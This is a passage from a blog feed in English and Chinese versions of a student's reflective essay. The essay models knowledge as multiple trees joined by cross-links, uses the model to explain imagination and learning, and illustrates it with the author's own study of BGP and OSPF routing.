&lt;p&gt;The tree structure provides &lt;strong&gt;hierarchy&lt;/strong&gt; and &lt;strong&gt;derivational&lt;/strong&gt; relationships – &lt;strong&gt;vertical connections&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Root -&amp;gt; Child -&amp;gt; Grandchild represents the deductive path from principle to phenomenon.&lt;/li&gt;
&lt;li&gt;Tracing roots upward is seeking principles; branching downward is exploring practical applications.&lt;/li&gt;
&lt;li&gt;The existence of trees allows thoughts to be abstracted into a complete system, preventing them from becoming scattered.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;The Graph Part: Explains Cross-Disciplinary Phenomena&lt;/h4&gt;
&lt;p&gt;The network connections provide &lt;strong&gt;associative links&lt;/strong&gt; and &lt;strong&gt;emergence&lt;/strong&gt; – &lt;strong&gt;horizontal connections&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A node from Tree A can attach directly to a node in Tree B.&lt;/li&gt;
&lt;li&gt;These cross-tree connections embody analogy, metaphor, and cross-disciplinary innovation.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I personally think this structure can quite comprehensively explain the operation and interrelation of today&apos;s knowledge systems. For instance, in modern history, the disproving of the &quot;geocentric model&quot; led to a restructuring of all astronomy based on it. Similarly, rote learning only inputs isolated nodes without building sufficient connections, preventing their proper use.&lt;/p&gt;
&lt;h3&gt;Explaining Phenomena&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;The Emergence of Imagination&lt;/strong&gt;: Profound innovation often isn&apos;t just digging deeper within one tree, but &lt;strong&gt;attaching a child node from Tree A onto a child node from Tree B&lt;/strong&gt;, thereby creating something new. The more such cross-tree connections exist, the richer the potential for branching out downwards.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Thorough Understanding (Ronghui Guantong)&lt;/strong&gt;: This is essentially creating &lt;strong&gt;cross-tree indices&lt;/strong&gt;. Ordinary people might only make connections within a single tree, e.g., &quot;array&quot; and &quot;linked list&quot; in a &quot;Data Structures&quot; tree. But an expert might connect &quot;hash table&quot; (from the Data Structures tree) with &quot;cache&quot; (from the Computer Architecture tree), giving rise to a new node like &quot;cache-friendly hash table design.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reusing Isolated Nodes&lt;/strong&gt;: A node might be isolated within its original tree, but later, with an expanded knowledge scope, a suitable attachment point is found, allowing it to be utilized and understood.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Meanwhile, this model also explains the initial question: Does imagination disappear? No, it merely exists in a different form.&lt;/p&gt;
&lt;h3&gt;Visualization&lt;/h3&gt;
&lt;p&gt;&amp;lt;embed src=&quot;/downloads/2026/03/forest.html&quot; width=&quot;100%&quot; height=&quot;600px&quot;&amp;gt;&amp;lt;/embed&amp;gt;&lt;/p&gt;
&lt;h3&gt;Personal Experience&lt;/h3&gt;
&lt;p&gt;Let me give my own example.&lt;br /&gt;
I used to struggle with understanding why the Internet is called a &quot;net.&quot; My perception of the Internet was limited to the purely tree-like structure of my home router. Based on this, I couldn&apos;t understand that by extrapolation, there would have to be a single &quot;super router&quot; responsible for all core data forwarding globally, which obviously defies physical reality.&lt;br /&gt;
Later, I self-studied routing protocols like BGP and OSPF, and suddenly I understood why it&apos;s a network. BGP and OSPF perfectly illustrate how routing information propagates through a mesh structure, fundamentally enhancing my understanding of the Internet. Based on this new understanding, I used tools like ZeroTier and Bird to build my own SD-WAN, creating a large, multi-hop intranet.&lt;/p&gt;
&lt;p&gt;This example fits the model well:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Old Cognition&lt;/strong&gt;: Centralized model (global super-router required).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cognitive Conflict&lt;/strong&gt;: The conclusion derived from this model doesn&apos;t match reality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;New Knowledge Acquisition&lt;/strong&gt;: BGP, OSPF.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cognitive Restructuring&lt;/strong&gt;: Understanding the Internet as a &quot;mesh network&quot; structure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Creation&lt;/strong&gt;: Building an SD-WAN using ZeroTier and Bird based on the new model.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Limitations and Boundaries&lt;/h3&gt;
&lt;p&gt;Throughout this, I&apos;ve tried to build a model using rational analysis. However, I also realize some phenomena can&apos;t be explained by it, such as &lt;strong&gt;emotions and feelings&lt;/strong&gt;. They exist independently of logical edges and can&apos;t be captured by the current model. Emotions often determine the direction of learning and how we achieve desired outcomes from it. Therefore, I believe they should be considered, but the current model cannot analyze them.&lt;br /&gt;
Additionally, there are logical gaps, such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In this mixed tree+graph structure, what exactly is a root node? Is it an objective principle, or a subjective first-principle belief?&lt;/li&gt;
&lt;li&gt;What is the upper limit for establishing connections? Is it possible to over-connect? If there are too many dense network edges, could it blur the tree structure and make thinking lose direction?&lt;/li&gt;
&lt;li&gt;What is curiosity itself in this model? Is it the driving force for traversal, or some intuition for &quot;predicting where new connections might be&quot;?&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;Afterthoughts&lt;/h1&gt;
&lt;p&gt;I sent this model to an AI for analysis. It suggested schema theory, mental models, connectionism, knowledge graphs, constructivism, and complex networks as related topics. These may be useful reading leads, but I have not checked the original literature for each connection. They do not establish that my model is equivalent to those theories or that it revises them.&lt;/p&gt;
&lt;p&gt;For now, these are questions I would like to explore:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Schema theory and mental models&lt;/strong&gt;: How do people incorporate new knowledge and revise their understanding when it conflicts with experience? There may be a connection to my example of learning BGP.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Connectionism and knowledge representation&lt;/strong&gt;: What do nodes and connections mean in each theory? Drawing two things as networks does not mean they describe the same mechanism.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Semantic networks and knowledge graphs&lt;/strong&gt;: How should I distinguish relations such as is-a, part-of, follows-from, and reminds-me-of? Grouping them together may hide important differences.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Constructivism&lt;/strong&gt;: How do exposure to information, understanding, and applying knowledge to a new problem differ? Active and passive learning also do not necessarily map neatly to connected and isolated nodes.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Complex networks&lt;/strong&gt;: What data and tests would be needed to discuss scale-free properties or hierarchical modularity? My diagram alone does not establish these properties in human knowledge.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These connections give me directions to explore, but the AI&apos;s encouragement is not evidence. For now, the trees and networks are a metaphor for organizing my own experience.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Writing this article is also a way to document a brainstorming experience. I think its value lies not in the final model, but in the process of construction and reasoning itself.&lt;br /&gt;
P.S. I&apos;m not a professional psychologist or thinker, just an ordinary computer science student. This article came from my own spontaneous reflections. If there are logical flaws, please be kind~&lt;/p&gt;
</content:encoded></item><item><title>从对想象力的思考，到认知、创造力与逻辑树</title><link>https://blog.iyoroy.cn/posts/261/</link><guid isPermaLink="true">https://blog.iyoroy.cn/posts/261/</guid><description>从「认知增加会不会限制想象力」的讨论出发，尝试用树和网络描述自己的学习与联想过程，记录模型的形成、修改和解释不了的地方。</description><pubDate>Thu, 19 Mar 2026 15:15:00 GMT</pubDate><content:encoded>&lt;h1&gt;起点：一个辩题引发的思考&lt;/h1&gt;
&lt;p&gt;刷空间的时候看到朋友发了这么一条动态&lt;br /&gt;
&lt;img src=&quot;./images/2026/03/380833729.png&quot; alt=&quot;Pasted image 20260316124742.png&quot; /&gt;&lt;br /&gt;
最开始的想法就是 “这肯定不全面啊”。&lt;br /&gt;
根据我自己的经验，我如果是自己想要去研究，想要去学的东西，我学起来不仅很快，还能将其应用并推广；而对于学校教的那些知识，我就觉得很没意思，也不会想要去应用、去创新。&lt;/p&gt;
&lt;p&gt;于是以此做出了我的第一个版本的答案：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;个人认为取决于认知水平增加的方式&lt;br /&gt;
如果是像强迫学习这样学到的内容，是被动接受的内容，人们不会认为它是有趣的，是值得去思考的，这种情况下大概率并不会因此而扩展想象力&lt;br /&gt;
但如果是自发的对知识的探求，认知水平的增加并不会磨灭对对未知的好奇，这种情况下更高的认知水平可以使想象力在此基础上更加深入和逻辑自恰&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;之后，那个朋友也回复我说，“所以填鸭式教育对创造力和想象力扼杀很严重”，我表示赞同。&lt;br /&gt;
但是，这个论题就这样结束了吗……？&lt;/p&gt;
&lt;h1&gt;思考阶段&lt;/h1&gt;
&lt;h2&gt;第一次深化：逻辑自洽&lt;/h2&gt;
&lt;p&gt;在我之前的回复中，我提到了逻辑自洽。当时并没有觉得什么，后来在复盘的时候发现，这实际上能很好的解释想象力的骨架：&lt;strong&gt;在现有的逻辑框架内，根据已有的知识，进行符合逻辑的推演和想象&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;小时候我们天马行空的幻想，是因为我们知道的很少，只能基于那一点点生活中的物理常识做出推断和假设，是逻辑自洽的&lt;/li&gt;
&lt;li&gt;而长大了，学的东西多了，使得我们从幻想转变为创造，本质也是由想象力推动的，不过是利用现有知识，在知识的框架中有计划有方向的创造前进。也是逻辑自洽的&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;本质上，两者都是想象力在构建一个“说得通”的世界。区别只在于，构建时所用的基础知识和逻辑体系不同。基础知识来源于学习，而逻辑体系则来源于我们对生活对世界的认识，也就是所谓人生阅历。认知水平提升，改变的只是“自洽”所遵循的规则。小时候的“自洽”遵循故事逻辑，成年后的“自洽”则遵循科学和社会逻辑。&lt;br /&gt;
同时，认知水平较低时，由于知识体系单一，想象力往往是跳跃的点，彼此可以独立自洽；而随着认知水平提升，我们逐渐构建起对世界的一个完整、庞大、互联的知识体系，在这个框架中实现全局&lt;strong&gt;逻辑自洽&lt;/strong&gt;的想象，也正是上文提到的&lt;strong&gt;有计划、有方向的创造&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;顺着这个思路，我们甚至可以说，认知水平增加带来的真正挑战，不是失去“逻辑自洽”的能力，而是当知识体系过于庞大时，如何在其中维持&lt;strong&gt;维持“逻辑自洽”的活力&lt;/strong&gt;——也就是，不让已有的知识框架变成束缚，让想象力依然能在缝隙中找到新的组合方式。&lt;/p&gt;
&lt;h2&gt;第二次深化：日常经验的边界&lt;/h2&gt;
&lt;p&gt;由上面的思考，我们不难想到，人们维持想象力的逻辑自洽，很大一部分立足于我们对世界的理解，立足于日常经验。这里引出一个新的问题：假如一个人的知识积累已经超过个人日常经验时，如何维持这种想象力上的逻辑自洽？也就是说，当我们了解的知识已经完全超出了我们理解的范畴，我们应该如何据此扩展和发散？&lt;/p&gt;
&lt;p&gt;思考过程中发现，这个论题本身是不全面的。举两个例子：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;对于我自己，我很享受构建计算机软件，搭建网络时设计和实现的过程，这在我的视角看来，是一件日常经验内的事情&lt;/li&gt;
&lt;li&gt;对于我一个朋友，他很喜欢数学，对于他来说推导高数就是一件日常经验内的事情&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;上面这两个例子很好的阐述了：&lt;strong&gt;“日常经验”本身，就是一个随着认知水平变化而移动的标尺。&lt;/strong&gt;&lt;br /&gt;
据此，我们可以推断：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;认知重塑了“日常”的边界&lt;/strong&gt;：对我朋友来说，享受推理高数的感觉，是因为高数的符号和逻辑已经融入了他的认知框架，成为他思维的一部分，因此他能在高数的逻辑中进行直觉性的想象和探索。对于我，折腾计算机，同样是基于我内化的知识体系，这个体系内的内容于我来说就如同日常经验。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;想象力的多面性&lt;/strong&gt;：当一个人在一个领域内拥有深厚的认知时，他在这个领域内的想象力活动，在旁观者看来可能是无法理解的创造，但对他自己而言，却可能只是一种“日常经验”式的、符合直觉的推演。想象力并没有消失，它已经渗透进了思维的底层，变成了&lt;strong&gt;一种在专业框架内娴熟地“逻辑自洽”并探索可能性的能力&lt;/strong&gt;。外人看到的是“超越”，自己体验到的却是“日常”。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;由此可以得出：这个论题是不全面的。它的问题在于预设了一个普遍平均水平的认知水平和日常经验标准，而实际上他们是&lt;strong&gt;高度个体化&lt;/strong&gt;的。&lt;br /&gt;
认知水平的增加，意味着一个人能“超越日常经验”的领域在扩大。在别人看来天马行空的思考，对他而言是基于扎实理论的严谨推演；认知水平的增加，是把曾经“超越日常经验”的东西，不断转化为“日常经验”的过程。在这个过程中，想象力并没有减少，而是改变了形态——从一种无拘无束的幻想，变成了在现有框架内，符合逻辑的创造。&lt;/p&gt;
&lt;p&gt;进而，我们可以得出，这种基于深厚认知的、“日常化”知识的想象力，与孩童时期那种基于常识和天真的想象力，本质上其实是一种东西，都是对&lt;strong&gt;未知的向往&lt;/strong&gt;。但是因为二者受到的约束不同，前者受到完备知识体系的约束，后者受到对世界浅薄的物理规律的理解的约束，进而导致二者的表现形式完全不同。&lt;/p&gt;
&lt;h2&gt;小结&lt;/h2&gt;
&lt;p&gt;至此，我们已经总结出几个关键点：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;想象力不是天马行空，而是在既有框架内寻求逻辑自洽&lt;/li&gt;
&lt;li&gt;“日常经验”是一个移动的标尺，它代表了一个人可以灵活利用的知识体系的边界，同时也会随着一个人的学习而扩展&lt;/li&gt;
&lt;li&gt;认知水平的提高，不是消灭想象力，而是重塑它赖以自洽的规则&lt;br /&gt;
因此，这个辩题的答案不可能是简单的增加或减少。它取决于认知增长的方式，以及观察者的视角。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;模型建构&lt;/h1&gt;
&lt;p&gt;由上面的问题，我不禁想到，每个人的知识体系结构应该是怎么样的？我们是如何把零散的知识点，组织成一套能支撑“逻辑自洽”的体系的？又是如何在这个体系中借由创造力创造新内容的？&lt;/p&gt;
&lt;h2&gt;树状模型的引入&lt;/h2&gt;
&lt;p&gt;首先我想到的是图论结构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;各个知识点之间是分立的节点&lt;/li&gt;
&lt;li&gt;学习的过程就是在创建新的节点&lt;/li&gt;
&lt;li&gt;复习、应用是在将节点链接至现有的知识体系&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;据此可以解释，为什么只学习不练习并不能使我们很好的理解，因为没有建立连接的过程，该节点是孤立的，我们无法将知识点链接至已有知识体系，使得我们无法在遇到其他相关问题的时候联想至该知识点，也就是说无法内化为“日常经验”的范畴。&lt;/p&gt;
&lt;p&gt;接着我发现，好像用这种模型解释知识之间的结构有些太过于平面了，实际的知识体系往往有严密的上下级、包含关系，进而我觉得可能树状结构更适合解释：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;知识点往往存在明显的分级&lt;/li&gt;
&lt;li&gt;知识点之间存在关联，包括推导、逆运用等上下级逻辑联系&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;据此，我尝试构建一个树状结构的知识图谱&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;节点&lt;/strong&gt;是知识单元&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;边&lt;/strong&gt;是逻辑关系，例如依赖、继承、实例化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;根节点&lt;/strong&gt;是底层原理/公理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;叶节点&lt;/strong&gt;是派生定理/现象/应用&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;构建知识结构的过程就是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;每个人都是在从自己所了解的单节点开始，学习新知识就是向上扩展自己的知识体系，向根节点探求&lt;/li&gt;
&lt;li&gt;创新和想象力则是顺着已有的知识体系向下探求子节点&lt;br /&gt;
进而得出：我们知道的内容越多，我们越可以根据我们所拥有的节点向下继续发散更多枝丫。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;基于当前模型，我们可以解释前面提到的“认知水平对创造力的约束”和为什么被动学习无法拓展创造力：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;父节点约束子节点的内容&lt;/strong&gt;：一个节点能长出什么样的子节点，不是随意的，必须满足父节点的逻辑约束和关联。想象力的发挥，本质上是在父节点知识体系允许的范围内，&lt;strong&gt;实例化新的合法节点&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;被动学习&lt;/strong&gt;：只是在树里增加了一些&lt;strong&gt;孤立节点&lt;/strong&gt;，或者只建立了&lt;strong&gt;浅层的引用&lt;/strong&gt;。这些节点虽然存在于知识树里，但它们没有向上联系到已有知识点。当需要靠想象力向下探索时，我们虽然知道它的存在，但它无法产生新的有效连接。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是当前模型还是无法解释一些内容：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;当前模型无法解释多个不同领域的知识&lt;/li&gt;
&lt;li&gt;很多知识点是穿插关联，甚至跨界关联的。当前模型无法解释知识跨界应用的现象&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;因此，我在思考能否构建一个更完备的模型。&lt;/p&gt;
&lt;h2&gt;多根多树+图状连接&lt;/h2&gt;
&lt;p&gt;为了解释不同领域和跨界关联，我尝试引入最开始的图论结构，但是保留原有的树状结构：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;人类的认知体系由&lt;strong&gt;多个独立的树状结构&lt;/strong&gt;组成。不同树状结构代表不同领域的知识。&lt;/li&gt;
&lt;li&gt;这些树状结构及其子节点之间通过&lt;strong&gt;网状连接&lt;/strong&gt;相互关联，形成一个既具有层次深度、又具有横向连通性的复杂网络。&lt;/li&gt;
&lt;li&gt;知识以&lt;strong&gt;节点&lt;/strong&gt;和&lt;strong&gt;边&lt;/strong&gt;的形式存在，而思维活动（学习、理解、想象、创造）本质上是对这个网络的&lt;strong&gt;遍历、重构与扩展&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;模型建构&lt;/h3&gt;
&lt;p&gt;该模型由&lt;strong&gt;节点&lt;/strong&gt;，&lt;strong&gt;边&lt;/strong&gt;，&lt;strong&gt;根节点&lt;/strong&gt;，&lt;strong&gt;树&lt;/strong&gt;，&lt;strong&gt;树冠&lt;/strong&gt;这些元素构成：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;节点&lt;/strong&gt;：知识的单元，可以是概念，事实，现象或者技能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;边&lt;/strong&gt;：代表节点之间的逻辑关系，其中又可以细分为两类：
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;树边&lt;/strong&gt;：即树内的继承、派生、因果关系（“是一种…”，“是…的一部分”，“可推导出…”）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;网边&lt;/strong&gt;：即树间或者子节点节点间的关联性、类比性、可结合性（“类似于”，“可与…结合”，“象征”）&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;根&lt;/strong&gt;：同上述树状结构的根，代表某个领域的&lt;strong&gt;底层原理&lt;/strong&gt;或&lt;strong&gt;第一性假设&lt;/strong&gt;，如物理定律之于物理学&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;树&lt;/strong&gt;：由一个根节点和它的所有后代节点组成的层次结构。
&lt;ul&gt;
&lt;li&gt;树内部是完全逻辑自洽的&lt;/li&gt;
&lt;li&gt;不同树的根节点之间不一定有推导关系，但子节点大概率存在推导关系&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;树冠&lt;/strong&gt;：树的顶部区域，代表着某个领域的具体实践、现象、应用或者经验知识
&lt;ul&gt;
&lt;li&gt;树冠往往是网状连接的密集区域，因为具体实践往往包含多个领域的知识&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;运行机制&lt;/h3&gt;
&lt;h4&gt;1. 学习&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;向上寻根&lt;/strong&gt;：从一个节点出发，沿着树边向根追溯，理解其原理&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;向下抽枝&lt;/strong&gt;：从一个节点出发，沿着树边向叶探索，思考其应用&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;2. 理解&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;同化&lt;/strong&gt;：新节点找到合适的父节点，被挂载到现有树上&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;顺应&lt;/strong&gt;：新节点无法挂载 $\rightarrow$ 调整根节点或重组枝干 $\rightarrow$ 重构树结构&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;跨树连接&lt;/strong&gt;：新节点同时挂到多棵树，或在多棵树之间建立网边&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;3. 想象与创造&lt;/h4&gt;
&lt;p&gt;想象力的核心操作是：&lt;strong&gt;在两棵（或多棵）看似无关的树的节点之间，建立新的网边&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;发现A树的某个节点和B树的某个节点可以连接&lt;/li&gt;
&lt;li&gt;沿着这条新边，通过联想、综合运用等生长出原本不存在的新节点&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;4. 遗忘与失效&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;孤立节点：只有节点，没有与任何树建立有效边 $\rightarrow$ 无法被调用，无法参与创造，参与思维过程&lt;/li&gt;
&lt;li&gt;弱连接：网边长期不用 $\rightarrow$ 权重下降 $\rightarrow$ 难以被激活 $\rightarrow$ 遗忘&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;性质&lt;/h3&gt;
&lt;p&gt;该模型具备如下性质：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;层次性&lt;/strong&gt;：每个树内部有明确的层次结构，根节点（原理/基本公理） $\rightarrow$ 子节点（核心推论） $\rightarrow$ 子节点（子领域） $\rightarrow$ 叶节点（现象/应用）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;模块性&lt;/strong&gt;：每棵树相对独立，可以单独生长&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;连通性&lt;/strong&gt;：树之间的任意节点可以基于联想、跨界应用相互联系，但由于根节点特性，一般是子节点和叶节点之间能够互相联系&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生长性&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;纵向生长&lt;/strong&gt;：在树内部的知识体系下向根节点方向学习知识，向子节点方向扩展应用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;横向生长&lt;/strong&gt;：跨树之间通过联想、综合运用等创造新的知识或者应用&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;鲁棒性与脆弱性&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;单棵树的一部分受损，不影响其他树体系的运作&lt;/li&gt;
&lt;li&gt;某棵树的根节点证伪，导致整棵树失效，会牵连一大部分与之相互交织的邻居&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;树的部分：保证了逻辑结构&lt;/h4&gt;
&lt;p&gt;树结构提供的是&lt;strong&gt;层次&lt;/strong&gt;和&lt;strong&gt;推导&lt;/strong&gt;关系，是&lt;strong&gt;纵向连接&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;根节点 $\rightarrow$ 子节点 $\rightarrow$ 孙节点，代表了从原理到现象的演绎路径&lt;/li&gt;
&lt;li&gt;向上寻根是探求原理，向下抽枝是探索实践应用&lt;/li&gt;
&lt;li&gt;树的存在，让思维能够抽象成完整体系，而不至于变成一盘散沙&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;图的部分：解释了跨界现象&lt;/h4&gt;
&lt;p&gt;网状连接提供的是&lt;strong&gt;逻辑关联&lt;/strong&gt;和&lt;strong&gt;涌现性&lt;/strong&gt;，是&lt;strong&gt;横向连接&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A树的某个节点，可以直接挂到B树的某个节点上&lt;/li&gt;
&lt;li&gt;这种跨树连接，就是类比、隐喻、跨界创新的体现&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;个人认为这种结构其实能较为全面的解释当今的知识体系的运行和联系。比如，近代史中“地心说”被证伪，连带其当时基于此理论建立的所有天文学的内容都经历了重构。同时，填鸭式的学习只输入孤立节点，不建立足够连接，因此无法正常运用。&lt;/p&gt;
&lt;h3&gt;现象解释&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;想象力的涌现&lt;/strong&gt;：有深度的创新，往往不是在一棵树上向下深挖得到的，而是&lt;strong&gt;把A树的某个子节点，挂载到了B树的某个子节点上&lt;/strong&gt;，据此创造新的内容。这种跨树连接越多，能向下探的新枝丫就越丰富。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;融会贯通&lt;/strong&gt;：本质上是做&lt;strong&gt;跨树索引&lt;/strong&gt;。普通人可能只在单一树内建立连接，比如“数据结构树”里的“数组”和“链表”；但高手会在“数据结构树”的“哈希表”和“计算机物理架构”的“缓存”之间建立连接，然后生出“缓存友好的哈希表设计”这样的新节点。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;孤立节点的重利用&lt;/strong&gt;：一个节点在它原本的树里是孤立的，但后来随着知识面拓展突然找到了挂载点，以此得到运用和理解&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;同时，这个模型也解释了最初的问题：想象力消失了吗？不，它只是换了一种形式存在。&lt;/p&gt;
&lt;h3&gt;可视化&lt;/h3&gt;
&lt;p&gt;&amp;lt;embed src=&quot;/downloads/2026/03/forest.html&quot; width=&quot;100%&quot; height=&quot;600px&quot;&amp;gt;&amp;lt;/embed&amp;gt;&lt;/p&gt;
&lt;h3&gt;亲身经历&lt;/h3&gt;
&lt;p&gt;让我来举个我自己的例子吧（&lt;br /&gt;
我以前一直不能理解，国际互联网为什么是“网”。我对互联网的认知，局限于自家路由器那种完全的树状结构。我不能理解的是，按照这样递推，那么全球就会有一个超级路由器负责最根本的数据转发，这显然是不符合物理规律的。&lt;br /&gt;
后来我自学探求了BGP，OSPF之类的路由协议，我突然能够理解为什么是网了。BGP和OSPF完美诠释了路由如何在网状结构中传递，使得我对互联网理解有了本质提升。据此理解，我利用ZeroTier，Bird之类的工具，自行搭建了一套完整的SD-WAN，构建起了可以多跳可达的大内网。&lt;/p&gt;
&lt;p&gt;这个例子能够很好的嵌入这个模型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;旧认知&lt;/strong&gt;：中心模型（全球必须有一个超级路由器）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认知冲突&lt;/strong&gt;：这个模型推导出的结论不符合现实&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;新知识接入&lt;/strong&gt;：BGP、OSPF&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;认知重构&lt;/strong&gt;：理解了互联网是“网状连接”结构&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;创造&lt;/strong&gt;：基于新模型，用ZeroTier、Bird搭建SD-WAN&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;局限性与边界&lt;/h3&gt;
&lt;p&gt;从始至终，我一直在尝试用理性分析来构建模型，然后我也发现一些现象无法依据该模型解释，比如&lt;strong&gt;情绪和情感&lt;/strong&gt;。它脱离逻辑边而单独存在，也无法依据现有模型解释。情绪和情感在学习过程中往往决定着学习的方向，决定着我们如何从学习中取得我们想要的成果。因此我认为它也应当被考虑，但是当前模型无法解析。&lt;br /&gt;
同时，它也存在一些逻辑漏洞，比如：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;在这个树+网的混合结构里，根节点到底是什么？是客观原理，还是主观的第一性信念？&lt;/li&gt;
&lt;li&gt;建立连接的上限是什么？有没有可能过度连接？如果网边太多太密，会不会反而让树的结构模糊、思维失去方向？&lt;/li&gt;
&lt;li&gt;好奇心本身在这个模型里是什么？是驱动遍历的动力，还是某种“预判哪里有新连接”的直觉？&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;后续&lt;/h1&gt;
&lt;p&gt;我将这套自己整理的小模型发给 AI 分析，它提到了图式理论、心智模型、联结主义、知识图谱、建构主义和复杂网络等方向。这些可以作为继续阅读的线索，但我还没有逐一查阅原始资料，不能据此认定它们与上面的模型等价，也不能把自己的类比称为对现有理论的修正。&lt;/p&gt;
&lt;p&gt;暂时把几个想继续了解的问题记在这里：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;图式理论与心智模型&lt;/strong&gt;：人如何把新知识纳入已有理解，又如何在遇到冲突时调整理解？这和我用 BGP 学习经历举的例子可能有联系。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;联结主义与知识表示&lt;/strong&gt;：不同理论中的“节点”和“连接”分别代表什么？仅仅都画成网络，并不意味着描述的是同一种机制。&lt;/li&gt;
